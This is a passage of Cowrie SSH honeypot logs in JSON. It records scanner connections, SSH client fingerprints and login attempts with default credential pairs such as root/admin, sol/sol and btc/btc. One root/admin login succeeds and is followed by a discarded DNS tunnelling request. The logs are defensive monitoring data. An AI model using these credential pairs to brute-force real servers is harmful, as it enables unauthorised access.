enssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:50.871798Z","src_ip":"2.57.122.208","session":"a151222fde71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:51.413242Z","src_ip":"2.57.122.208","session":"a151222fde71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:52.565353Z","src_ip":"2.57.122.208","session":"a151222fde71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54184,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3fd039ea3b4","protocol":"ssh","message":"New connection: 92.118.39.92:54184 (10.17.0.5:22) [session: e3fd039ea3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:59.495772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:59.499675Z","src_ip":"92.118.39.92","session":"e3fd039ea3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:59.606041Z","src_ip":"92.118.39.92","session":"e3fd039ea3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:59.954374Z","src_ip":"92.118.39.92","session":"e3fd039ea3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:01.061045Z","src_ip":"92.118.39.92","session":"e3fd039ea3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"17256c622c70","protocol":"ssh","message":"New connection: 2.57.122.210:51120 (10.17.0.5:22) [session: 17256c622c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:36.183788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:36.188786Z","src_ip":"2.57.122.210","session":"17256c622c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:36.290562Z","src_ip":"2.57.122.210","session":"17256c622c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:36.594355Z","src_ip":"2.57.122.210","session":"17256c622c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:59:37.699944Z","src_ip":"2.57.122.210","session":"17256c622c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":40738,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae393348780c","protocol":"ssh","message":"New connection: 80.66.66.10:40738 (10.17.0.5:22) [session: ae393348780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:04.906039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:04.915934Z","src_ip":"80.66.66.10","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:05.026033Z","src_ip":"80.66.66.10","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:05.413703Z","src_ip":"80.66.66.10","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:05.706851Z","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:05.889315Z","src_ip":"80.66.66.10","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:00:06.125444Z","src_ip":"80.66.66.10","session":"ae393348780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55048,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e4e10e4d88","protocol":"ssh","message":"New connection: 2.57.122.208:55048 (159.203.135.109:22) [session: 47e4e10e4d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:11.616228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:11.620684Z","src_ip":"2.57.122.208","session":"47e4e10e4d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:11.721907Z","src_ip":"2.57.122.208","session":"47e4e10e4d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:12.095699Z","src_ip":"2.57.122.208","session":"47e4e10e4d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:13.216929Z","src_ip":"2.57.122.208","session":"47e4e10e4d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42590,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a9ef90be74","protocol":"ssh","message":"New connection: 92.118.39.92:42590 (10.17.0.5:22) [session: 98a9ef90be74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:14.373000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:14.382980Z","src_ip":"92.118.39.92","session":"98a9ef90be74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:14.557167Z","src_ip":"92.118.39.92","session":"98a9ef90be74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:14.962466Z","src_ip":"92.118.39.92","session":"98a9ef90be74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:16.087587Z","src_ip":"92.118.39.92","session":"98a9ef90be74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ba3b32e4b3","protocol":"ssh","message":"New connection: 2.57.122.210:53838 (10.17.0.5:22) [session: a3ba3b32e4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:49.648866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:49.652903Z","src_ip":"2.57.122.210","session":"a3ba3b32e4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:49.748104Z","src_ip":"2.57.122.210","session":"a3ba3b32e4b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:50.161147Z","src_ip":"2.57.122.210","session":"a3ba3b32e4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:01:51.258857Z","src_ip":"2.57.122.210","session":"a3ba3b32e4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47624,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9541d8f35a","protocol":"ssh","message":"New connection: 139.19.117.129:47624 (159.203.135.109:22) [session: 6c9541d8f35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:24.751158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:24.755629Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:24.848516Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:25.036731Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
